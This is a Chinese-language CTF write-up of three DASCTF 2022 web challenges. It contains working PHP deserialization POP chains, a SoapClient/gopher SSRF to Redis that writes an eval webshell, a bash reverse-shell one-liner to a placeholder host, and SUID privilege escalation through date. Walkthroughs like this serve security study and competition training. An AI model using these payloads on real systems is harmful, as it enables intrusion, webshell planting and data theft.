DASCTF2022 ——十月赛 Web 部分Writeup

WriteUp 2年前 (2022) admin
657 0 0

EasyPOP

题目环境是 php 7.4, 图省事直接把所有属性的类型都改成 public

起点是 sorry 类的 __destruct(), 由 echo $this->hint 调用到 show 类的 __toString() 方法, 然后通过执行 $this->ctf->show() 跳转 secret_code 类的 __call() , 进而到 show() 方法, 在 show() 方法中访问不存在的属性, 跳转到 sorry 类的 __get(), 最后通过 $name() 跳到 fine 类的 __invoke()

pop 链构造如下


<?php

class fine
{
public $cmd;
public $content;
}

class show
{
public $ctf;
public $time;
}

class sorry
{
public $name;
public $password;
public $hint;
public $key;
}

class secret_code
{
public $code;
}

$e = new fine();
$e->cmd = 'system';
$e->content = 'cat /flag';

$d = new sorry();
$d->key = $e;

$c = new secret_code();
$c->code = $d;

$b = new Show();
$b->ctf = $c;

$a = new sorry();
$a->name = '123';
$a->password = '123';
$a->hint = $b;

echo serialize($a);


最后改一下数字绕过 __wakeup


http://f9eac3ed-9425-4fe7-a009-aad41f9db212.node4.buuoj.cn:81/?pop=O:5:"sorry":4:{s:4:"name";s:3:"123";s:8:"password";s:3:"123";s:4:"hint";O:4:"show":2:{s:3:"ctf";O:11:"secret_code":1:{s:4:"code";O:5:"sorry":4:{s:4:"name";N;s:8:"password";N;s:4:"hint";N;s:3:"key";O:4:"fine":3:{s:3:"cmd";s:6:"system";s:7:"content";s:9:"cat /flag";}}}s:4:"time";N;}s:3:"key";N;}
http://f9eac3ed-9425-4fe7-a009-aad41f9db212.node4.buuoj.cn:81/?pop=O:5:"sorry":4:{s:4:"name";s:3:"123";s:8:"password";s:3:"123";s:4:"hint";O:4:"show":2:{s:3:"ctf";O:11:"secret_code":1:{s:4:"code";O:5:"sorry":4:{s:4:"name";N;s:8:"password";N;s:4:"hint";N;s:3:"key";O:4:"fine":3:{s:3:"cmd";s:6:"system";s:7:"content";s:9:"cat /flag";}}}s:4:"time";N;}s:3:"key";N;}



DASCTF2022 ——十月赛 Web 部分Writeup

hade_waibo

DASCTF2022 ——十月赛 Web 部分Writeup

cancan need 有任意文件读取


http://745b93ee-b378-4803-b84e-52f9e7b78d2a.node4.buuoj.cn:81/file.php?m=show&filename=file.php


file.php

…………

<?php

error_reporting(0);

session_start();

include ‘class.php’;


if($_SESSION[‘isLogin’] !== true){

    die(“<script>alert(‘号登一下谢谢。’);location.href=’index.php'</script>”);

}

$form = ‘

<form action=”file.php?m=upload” method=”post” enctype=”multipart/form-data” >

    <input type=”file” name=”file”>

    <button class=”mini ui button” ><font style=”vertical-align: inherit;”><font style=”vertical-align: inherit;”>

  提交

</font></font></button>

</form>’;




$file = new file();

switch ($_GET[‘m’]) {


    case ‘upload’:

        if(empty($_FILES)){die($form);}


        $type = end(explode(“.”, $_FILES[‘file’][‘name’]));

        if ($file->check($type)) {

            die($file->upload($type));

        }else{

            die(‘你食不食油饼’);

        }

        break;


    case ‘show’:

        die($file->show($_GET[‘filename’]));

        break;


    case ‘rm’:

        $file->rmfile();

        die(“全删干净了捏”);

        break;


    case ‘logout’:

        session_destroy();

        die(“<script>alert(‘已退出登录’);location.href=’index.php'</script>”);

        break;


    default:

        echo ‘<h2>Halo! ‘.$_SESSION[‘username’].'</h2>’;

        break;

}

?>

…………


class.php

‘<?php

class User

{

    public $username;

    public function __construct($username){

        $this->username = $username;

        $_SESSION[‘isLogin’] = True;

        $_SESSION[‘username’] = $username;

    }

    public function __wakeup(){

        $cklen = strlen($_SESSION[“username”]);

        if ($cklen != 0 and $cklen <= 6) {

            $this->username = $_SESSION[“username”];

        }

    }

    public function __destruct(){

        if ($this->username == ”) {

            session_destroy();

        }

    }

}


class File

{

    #更新黑名单为白名单,更加的安全

    public $white = array(“jpg”,”png”);


    public function show($filename){

        echo ‘<div class=”ui action input”><input type=”text” id=”filename” placeholder=”Search…”><button class=”ui button” onclick=”window.location.href=’file.php?m=show&filename=’+document.getElementById(‘filename’).value”>Search</button></div><p>’;

        if(empty($filename)){die();}

        return ‘<img src=”data:image/png;base64,’.base64_encode(file_get_contents($filename)).'” />’;

    }

    public function upload($type){

        $filename = “dasctf”.md5(time().$_FILES[“file”][“name”]).”.$type”;

        move_uploaded_file($_FILES[“file”][“tmp_name”], “upload/” . $filename);

        return “Upload success! Path: upload/” . $filename;

    }

    public function rmfile(){

        system(‘rm -rf /var/www/html/upload/*’);

    }

    public function check($type){

        if (!in_array($type,$this->white)){

            return false;

        }

        return true;

    }


}


#更新了一个恶意又有趣的Test类

class Test

{

    public $value;


    public function __destruct(){

        chdir(‘./upload’);

        $this->backdoor();

    }

    public function __wakeup(){

        $this->value = “Don’t make dream.Wake up plz!”;

    }

    public function __toString(){

        $file = substr($_GET[‘file’],0,3);

        file_put_contents($file, “Hack by $file !”);

        return ‘Unreachable! :)’;

    }

    public function backdoor(){

        if(preg_match(‘/[A-Za-z0-9?$@]+/’, $this->value)){

            $this->value = ‘nono~’;

        }

        system($this->value);

    }


}

Test 类可以利用, 第一时间想的是 phar 反序列化

可以用 . 执行命令来绕过正则

DASCTF2022 ——十月赛 Web 部分Writeup

思路就是先上传 phar 文件, 然后上传一个 jpg, 其内容包含要执行的命令

注意 jpg 的名称要在 phar 的前面, 例如 phar 的名称是 dasctfe4.jpg, 包含命令的 jpg 名称必须是 dasctfc2.jpg 或者 dasctf01.jpg (ascii 码较小)

不过试的时候发现绕过 wakeup 好像不太行…

然后想起来做 EasyLove 题的时候根目录下有个 start.sh 部署脚本, 结合题目的描述 tips:flag在/目录下的一个文件里, 索性直接读取 start.sh 看看

DASCTF2022 ——十月赛 Web 部分Writeup

DASCTF2022 ——十月赛 Web 部分Writeup

读取 /ghjsdk_F149_H3re_asdasfc 得到 flag

DASCTF2022 ——十月赛 Web 部分Writeup

DASCTF2022 ——十月赛 Web 部分Writeup

EasyLove

根据题目描述的 redis, 猜测是通过 ssrf + redis 来 getshell

$this->love = new $this->wllm($this->arsenetang,$this->l61q4cheng); 这句很明显是要通过某个类来执行 ssrf

众所周知 redis 的协议很宽松, 支持用 http 来发包, 而 php 原生的 SoapClient 类可以发送 http

payload 如下

<?php


class swpu{

    public $wllm;

    public $arsenetang;

    public $l61q4cheng;

    public $love;

}


$a = new swpu();

$a->wllm = ‘SoapClient’;

$a->arsenetang = null;

$target = ‘http://127.0.0.1:6379/’;

$poc = “flushallrnconfig set dir /var/www/html/rnconfig set dbfilename shell.phprnset xzxzxz ‘<?=eval($_REQUEST[1])?>’rnsave”;


$a->l61q4cheng = array(‘location’=>$target, ‘uri’=>”hellorn”.$poc.”rnhello”);

echo urlencode(serialize($a));


试的时候一直卡住 (正常现象), 访问 shell.php 也显示 404

于是猜测 redis 可能有认证, 看了下题目有 hint 类, 通过 file_get_contents() 来获得 hint.php 的内容

直接反序列化 hint 无回显, 结果想试试 file_get_contents() + gopher 的时候阴差阳错地读到了 hint.php

DASCTF2022 ——十月赛 Web 部分Writeup

<?php


class hint{

    public $hint;

}

$a = new hint();

$a->hint = ‘gopher://127.0.0.1:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2422%0D%0A%0A%0A%3C%3Fphp%20phpinfo%28%29%3B%3F%3E%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2413%0D%0A/var/www/html%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%249%0D%0Ashell.php%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A%0A’;

echo serialize($a);


http://0021bfdb-5d2b-42ff-9505-49d23c4aa0e2.node4.buuoj.cn:81/?hello=O:4:”hint”:1:{s:4:”hint”;s:404:”gopher://127.0.0.1:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2422%0D%0A%0A%0A%3C%3Fphp%20phpinfo%28%29%3B%3F%3E%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2413%0D%0A/var/www/html%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%249%0D%0Ashell.php%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A%0A”;}

DASCTF2022 ——十月赛 Web 部分Writeup

猜测 20220311 就是 redis 的密码

于是最终 payload 如下

<?php


class swpu{

    public $wllm;

    public $arsenetang;

    public $l61q4cheng;

    public $love;

}


$a = new swpu();

$a->wllm = ‘SoapClient’;

$a->arsenetang = null;

$target = ‘http://127.0.0.1:6379/’;

$poc = “auth 20220311rnflushallrnconfig set dir /var/www/html/rnconfig set dbfilename shell.phprnset xzxzxz ‘<?=eval($_REQUEST[1])?>’rnsave”;


$a->l61q4cheng = array(‘location’=>$target, ‘uri’=>”hellorn”.$poc.”rnhello”);

echo urlencode(serialize($a));


O%3A4%3A%22swpu%22%3A4%3A%7Bs%3A4%3A%22wllm%22%3Bs%3A10%3A%22SoapClient%22%3Bs%3A10%3A%22arsenetang%22%3BN%3Bs%3A10%3A%22l61q4cheng%22%3Ba%3A2%3A%7Bs%3A8%3A%22location%22%3Bs%3A22%3A%22http%3A%2F%2F127.0.0.1%3A6379%2F%22%3Bs%3A3%3A%22uri%22%3Bs%3A145%3A%22hello%0D%0Aauth+20220311%0D%0Aflushall%0D%0Aconfig+set+dir+%2Fvar%2Fwww%2Fhtml%2F%0D%0Aconfig+set+dbfilename+shell.php%0D%0Aset+xzxzxz+%27%3C%3F%3Deval%28%24_REQUEST%5B1%5D%29%3F%3E%27%0D%0Asave%0D%0Ahello%22%3B%7Ds%3A4%3A%22love%22%3BN%3B%7D


DASCTF2022 ——十月赛 Web 部分Writeup

访问 shell.php

DASCTF2022 ——十月赛 Web 部分Writeup

蚁剑连接, 发现 flag 打不开

DASCTF2022 ——十月赛 Web 部分Writeup

DASCTF2022 ——十月赛 Web 部分Writeup

root 权限, 估计是要提权

先用 bash 反弹 shell, 直接输入会有点问题, 解决方法是先在 bash.sh 里写入反弹命令, 然后通过 bash bash.sh 来执行


bash -i >& /dev/tcp/xxxx/yyyy 0>&1


DASCTF2022 ——十月赛 Web 部分Writeup

DASCTF2022 ——十月赛 Web 部分Writeup

查找带 SUID 的文件


find / -perm -u=s -type f 2>/dev/null

DASCTF2022 ——十月赛 Web 部分Writeup


发现有 date, 于是直接用 date 来读取 flag


date -f /hereisflag/flllll111aaagg


DASCTF2022 ——十月赛 Web 部分Writeup


参考原文: 

https://exp10it.cn/2022/10/dasctf-2022-%E5%8D%81%E6%9C%88%E8%B5%9B-web-%E9%83%A8%E5%88%86-writeup/#easypop


原文始发于微信公众号(渗透测试研究中心):DASCTF2022 ——十月赛 Web 部分Writeup

版权声明:admin 发表于 2022年10月28日 上午9:11。
转载请注明:DASCTF2022 ——十月赛 Web 部分Writeup | CTF导航

相关文章

暂无评论

您必须登录才能参与评论!
立即登录
暂无评论...